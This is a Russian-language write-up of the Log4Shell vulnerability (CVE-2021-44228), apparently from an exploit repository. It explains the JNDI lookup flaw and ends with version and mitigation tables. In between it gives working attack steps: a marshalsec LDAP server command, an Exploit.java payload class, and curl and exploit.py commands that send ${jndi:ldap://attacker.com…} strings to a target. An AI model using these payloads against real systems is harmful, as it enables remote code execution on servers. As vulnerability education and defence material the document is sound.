
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 КРИТИЧЕСКИЙ | CWE-502: Десериализация недоверенных данных | CWE-917: Некорректная нейтрализация при внедрении языка выражений
Log4Shell (CVE-2021-44228) — пожалуй, самая серьезная уязвимость 2020-х годов, затрагивающая Apache Log4j2 версий 2.0 – 2.14.1. Обнаруженная Чэнь Чжаоцзюнем из Alibaba Cloud Security в ноябре 2021 года и публично раскрытая 9 декабря 2021 года, она позволяет неавторизованное удаленное выполнение кода на сотнях миллионов серверов по всему миру.
Уязвимость возникает из-за функции поиска JNDI (Java Naming and Directory Interface) в Log4j2, которая позволяет использовать произвольные строки поиска, такие как ${jndi:ldap://attacker.com/a}, в сообщениях журнала. Когда строка, контролируемая пользователем и содержащая такой шаблон, попадает в журнал, Log4j2 выполняет поиск JNDI, который может загружать и выполнять удаленные Java-классы.
Log4j2 представил функцию под названием «Message Lookup», которая заменяет шаблоны ${...} в сообщениях журнала значениями из различных источников (JNDI, переменные окружения, системные свойства и т.д.). Класс JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) вызывает InitialContext.lookup() для строк, контролируемых атакующим, без надлежащей очистки.
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
Метод lookup() делегирует вызов javax.naming.InitialContext.lookup(), который может загружать удаленные объекты с серверов LDAP, RMI, DNS или CORBA.
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM
Используйте marshalsec для запуска вредоносного LDAP-сервера:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
Или через HTTP-заголовок:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
Включенный exploit.py предоставляет:
| Версия | Статус |
|---|
| Log4j 2.0 – 2.14.1 | Уязвимая |
| Log4j 2.15.0-rc1 | Частичное исправление (обход CVE-2021-45046) |
| Log4j 2.15.0 | Ограниченное исправление (JNDI отключен по умолчанию, ограниченные поиски) |
| Log4j 2.16.0 | JNDI отключен, удалены Message Lookups |
| Log4j 2.17.0 | Окончательное исправление для 2.x (CVE-2021-44832) |
| Log4j 1.x | Напрямую не затронуты (другая кодовая база) |
| Подход | Детали |
|---|
| Обновление Log4j | Обновление до 2.17.0+ (2.x) или 2.12.4+ (Java 7) |
| Флаг JVM | -Dlog4j2.formatMsgNoLookups=true |
| Удаление JndiLookup | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| Правила WAF | Блокировка шаблонов ${jndi: в запросах |
| Сетевые контроли | Блокировка исходящих LDAP/RMI на ненадежные серверы |